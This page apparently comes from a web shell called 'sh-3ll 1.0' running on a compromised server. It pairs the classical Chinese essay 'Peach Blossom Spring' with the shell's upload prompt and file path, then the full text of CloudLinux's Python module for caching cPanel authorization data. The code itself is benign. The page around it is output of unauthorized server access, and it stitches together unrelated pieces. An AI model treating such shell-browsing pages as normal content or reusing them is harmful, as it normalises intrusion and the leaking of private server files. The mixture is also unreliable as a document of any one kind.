晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/cloudlinux/venv/lib/python3.11/site-packages/ssa/internal/
Upload File :
Current File : //opt/cloudlinux/venv/lib/python3.11/site-packages/ssa/internal/panel_data_snapshot.py
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2026 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

"""
Stat-validated snapshot of the cPanel authorization data consumed by
SimpleAgent._authorize_sender (the panel tenant-user set and the
domain -> owner mapping).

Why this exists. _authorize_sender resolves the tenant set (cpusers()) and
the reported domain's owner (domain_owner()) on every payload. On cPanel,
clcommon.cpapi has no cache for either call: cpusers() re-reads
/etc/userplans and domain_owner() re-parses /etc/userdatadomains IN FULL
(Python callback per line, no early break) per call. Authorization cost
therefore grows linearly with the account/domain count, and on large servers
it pins the GIL-bound agent at one full core while accepting only tens of
payloads per second (2570 accounts / 16K domain lines = ~55 ms of auth CPU
per payload measured on a customer box), silently dropping most telemetry at
the kernel accept queue. The DirectAdmin backend caches its domain DB and
Plesk resolves via local DB queries, so only cPanel needs this layer; every
other panel keeps fresh per-payload lookups.

Why a stat-validated snapshot is NOT the TTL cache that was removed in
0.4-28 (commit b6aec39). That cache expired entries by TIME, so for up to
the TTL it could serve answers that a fresh lookup would no longer return —
that stale-decision window was the root of all five staleness/race findings
against it (new-tenant trust-all, fail-open clobbering a resolved owner,
stale overwrite races). Here validity is proven by DATA on every use: each
lookup stat()s the backing panel files and serves the snapshot only while
their identity signature (inode, size, mtime_ns, ctime_ns) is unchanged —
i.e. only while a fresh parse would return byte-identical results. Any
change to the files (cPanel rewrites them atomically via rename, changing
the inode) invalidates the snapshot before the next decision, which then
triggers exactly one single-flight re-parse. There is no window in which a
served answer can differ from a fresh lookup, beyond the parse itself racing
the very write it is reading — a race fresh per-payload lookups have too —
and one theoretical blind spot the signature shares with every stat-based
scheme (git's "racily clean" problem): an IN-PLACE rewrite that keeps the
inode and size and lands within the same kernel coarse-clock tick as the
previous signature (~ms granularity on mtime_ns/ctime_ns) is undetectable
until the file next changes. cPanel itself always rename-replaces these
files (new inode), so only a non-panel writer editing them in place with
equal-length content could hit it.

Decision parity with the fresh path is preserved exactly:
- a domain absent from /etc/userdatadomains -> None (caller fails open);
- a domain listed more than once -> DuplicateData with clcommon's message
  (caller treats it as unresolvable, fails open) — raised from the snapshot
  WITHOUT re-parsing, so repeated payloads for a duplicated domain cannot
  force per-payload parses;
- any snapshot machinery failure (stat or parse errors) raises
  SnapshotUnavailable and the caller falls back to the fresh clcommon call.
"""

import os
import pwd
from threading import Lock

from clcommon.cpapi import cpusers, getCPName
from clcommon.cpapi.cpapiexceptions import DuplicateData


class SnapshotUnavailable(Exception):
    """
    The snapshot machinery itself failed (backing files could not be read or
    parsed). The caller must fall back to a fresh clcommon lookup — this is
    never raised for data-level outcomes (unknown domain, duplicated domain),
    which are authoritative and mirror the fresh path.
    """


class _StatKeyedValue:
    """
    A value derived from a set of files, memoized against their stat
    signature. get() stat()s every path on every call (a few microseconds)
    and returns the memoized value only when the signature of ALL paths is
    unchanged; otherwise it re-runs the loader under a lock (single-flight:
    concurrent callers wait and reuse the fresh result instead of parsing in
    parallel).

    The signature covers inode, size, mtime_ns and ctime_ns per path, plus
    the path's absence (a missing file participates as None, so a file
    appearing or disappearing also invalidates). The signature is taken
    BEFORE the loader runs: if a file changes mid-parse, the stored value is
    keyed under the pre-change signature, so the very next get() re-validates
    and rebuilds — the memo self-heals instead of trusting a torn read. It is
    re-taken under the lock: a waiter whose pre-lock stat predates a
    concurrent change would otherwise mismatch the fresh entry a parallel
    rebuild just stored and re-run the loader once per waiter (evicting the
    correctly-keyed entry) instead of reusing the single-flight result.
    """

    def __init__(self, paths, loader):
        self._paths = tuple(paths)
        self._loader = loader
        self._lock = Lock()
        # (signature, value) installed atomically; read without the lock.
        self._entry = None

    def _signature(self):
        sig = []
        for path in self._paths:
            try:
                st = os.stat(path)
            except OSError:
                sig.append((path, None))
            else:
                sig.append((path, st.st_ino, st.st_size, st.st_mtime_ns, st.st_ctime_ns))
        return tuple(sig)

    def get(self):
        entry = self._entry
        if entry is not None and entry[0] == self._signature():
            return entry[1]
        with self._lock:
            # Re-stat under the lock (see class docstring): the entry a
            # concurrent rebuild stored must be compared against the CURRENT
            # signature, not the one this caller computed before waiting.
            sig = self._signature()
            entry = self._entry
            if entry is not None and entry[0] == sig:
                return entry[1]
            value = self._loader()
            self._entry = (sig, value)
            return value


class CpanelAuthDataSnapshot:
    """
    O(1) per-payload provider of the two panel lookups _authorize_sender
    needs, each memoized against the stat signature of the cPanel files that
    are its single source of truth:

    - tenant_users(): frozenset(cpusers()), backed by /etc/userplans;
    - domain_owner(domain): exact-key lookup in a {domain: [owners]} map
      built in ONE pass over /etc/userdatadomains (via the same clcommon
      parser the fresh path uses), instead of one full parse per payload.

    Loader callables and backing paths are injected by
    build_panel_auth_snapshot (and by unit tests).
    """

    def __init__(self, logger, tenants_paths, tenants_loader, owners_paths, owners_loader):
        self._logger = logger

        def _load_tenants():
            value = frozenset(tenants_loader())
            logger.info('[PanelSnapshot] tenant set rebuilt from %s: %d account(s)', list(tenants_paths), len(value))
            return value

        def _load_owners():
            value = owners_loader()
            logger.info(
                '[PanelSnapshot] domain-owner map rebuilt from %s: %d domain(s)', list(owners_paths), len(value)
            )
            return value

        self._tenants = _StatKeyedValue(tenants_paths, _load_tenants)
        self._owners = _StatKeyedValue(owners_paths, _load_owners)

    def tenant_users(self) -> frozenset:
        """
        The panel hosting-account set, equal to frozenset(cpusers()) over the
        current /etc/userplans bytes. Raises SnapshotUnavailable on machinery
        failure (caller falls back to a fresh cpusers()).
        """
        try:
            return self._tenants.get()
        # Any loader/stat failure, whatever its type, means "snapshot
        # machinery failed" -> deliberately wrapped for the fresh fallback.
        except Exception as e:
            raise SnapshotUnavailable(f'tenant set: {e}') from e

    def domain_owner(self, domain: str):
        """
        The owner username of *domain*, with exact clcommon parity: None when
        the domain is not in the map (caller fails open), DuplicateData —
        clcommon's own exception and message — when the file lists it more
        than once (caller treats it as unresolvable and fails open; raised
        from the map so a duplicated domain cannot force per-payload parses).
        Raises SnapshotUnavailable on machinery failure (caller falls back to
        a fresh domain_owner()).
        """
        try:
            owners = self._owners.get().get(domain)
        # Any loader/stat failure, whatever its type, means "snapshot
        # machinery failed" -> deliberately wrapped for the fresh fallback.
        except Exception as e:
            raise SnapshotUnavailable(f'domain-owner map: {e}') from e
        if not owners:
            return None
        if len(owners) > 1:
            raise DuplicateData(f"domain {domain} belongs to few users: [{','.join(owners)}]")
        return owners[0]


def build_panel_auth_snapshot(logger):
    """
    Build the snapshot when the running panel is cPanel and the clcommon
    internals it relies on are present; return None otherwise (the agent then
    keeps fresh per-payload lookups — the status quo for DirectAdmin, whose
    backend caches internally, for Plesk, which resolves via local DB
    queries, and for any clcommon whose internals moved).

    The map loader reuses clcommon's own parser (_parse_userdatadomains) and
    path constant, so line handling — comment/garbage skipping, the
    'domain: user==owner==type==...' split — is clcommon's, not a copy, and
    the backing paths in the stat signature are exactly the paths the fresh
    path would read: CPANEL_USERDATADOMAINS_PATH is a ';'-joined list whose
    '{user}' template entry is expanded to the daemon's euid name the same
    way the parser expands it before opening. Paths that do not exist are
    skipped and participate in the signature as absent; a path that cannot
    be opened OR fully read raises (surfacing as SnapshotUnavailable ->
    fresh fallback) instead of letting the parser's quiet error handling
    freeze an empty or truncated map under a valid signature.
    """
    try:
        from clcommon.cpapi.plugins import cpanel
    # Whatever fails here, and however it fails, the answer is the same:
    # no snapshot, keep fresh per-payload lookups (deliberate broad catch).
    except Exception as e:  # noqa: BLE001
        logger.warning('[PanelSnapshot] disabled, cPanel plugin unavailable: %s', str(e))
        return None
    try:
        if getCPName() != getattr(cpanel, '__cpname__', 'cPanel'):
            return None
        userplans_path = cpanel.CPANEL_USERPLANS_PATH
        userdata_path = cpanel.CPANEL_USERDATADOMAINS_PATH
        parse_userdatadomains = cpanel._parse_userdatadomains
        if not isinstance(userplans_path, str) or not isinstance(userdata_path, str):
            raise TypeError('unexpected clcommon path constant types')
        # clcommon's parser substitutes '{user}' with the caller's euid name
        # BEFORE opening (cpanel._parse_userdatadomains) — expand the template
        # identically here, or the stat signature would watch the literal
        # template path (a permanent ENOENT) while the parser reads the
        # expanded file, whose changes would then never invalidate the
        # snapshot. The daemon's euid never changes, so expanding once at
        # build time equals clcommon's per-call expansion.
        if '{user}' in userdata_path:
            userdata_path = userdata_path.replace('{user}', pwd.getpwuid(os.geteuid()).pw_name)
        owners_paths = tuple(userdata_path.split(';'))
    # Same contract as above: any detection/constant/attr failure disables
    # the snapshot rather than the agent (deliberate broad catch).
    except Exception as e:  # noqa: BLE001
        logger.warning('[PanelSnapshot] disabled, falling back to fresh per-payload lookups: %s', str(e))
        return None

    def load_owner_map():
        owners = {}

        def collect(_path, domain, domain_data):
            owners.setdefault(domain, []).append(domain_data[0])

        for path in owners_paths:
            # clcommon's parser swallows I/O failures ('except IOError:
            # continue' under quiet=True — and the except wraps its WHOLE
            # read loop, not just the open; os.path.exists is also False on
            # a stat error), which here would memoize an EMPTY or TRUNCATED
            # map under the current valid signature (a read error changes no
            # ino/size/mtime/ctime) and freeze fail-open answers until the
            # file next changes. Probe each backing file with a FULL read
            # first so both open-time and mid-read failures (EIO/ESTALE)
            # raise — the caller turns them into SnapshotUnavailable and
            # serves fresh lookups (which self-heal) until the file is
            # readable again. Binary mode keeps the probe about I/O only
            # (decode errors surface identically from the parse either way).
            # Residual window: an I/O error materializing between this read
            # and the parser's re-read of the just-cached pages is still
            # swallowed; that requires the error to first appear inside a
            # sub-millisecond window on page-cache-hot data.
            try:
                with open(path, 'rb') as probe:
                    probe.read()
            except (FileNotFoundError, NotADirectoryError):
                # Genuinely absent: the parser skips it and the stat
                # signature tracks it as absent.
                continue
            parse_userdatadomains(path, collect, quiet=True)
        return owners

    return CpanelAuthDataSnapshot(
        logger,
        tenants_paths=(userplans_path,),
        tenants_loader=cpusers,
        owners_paths=owners_paths,
        owners_loader=load_owner_map,
    )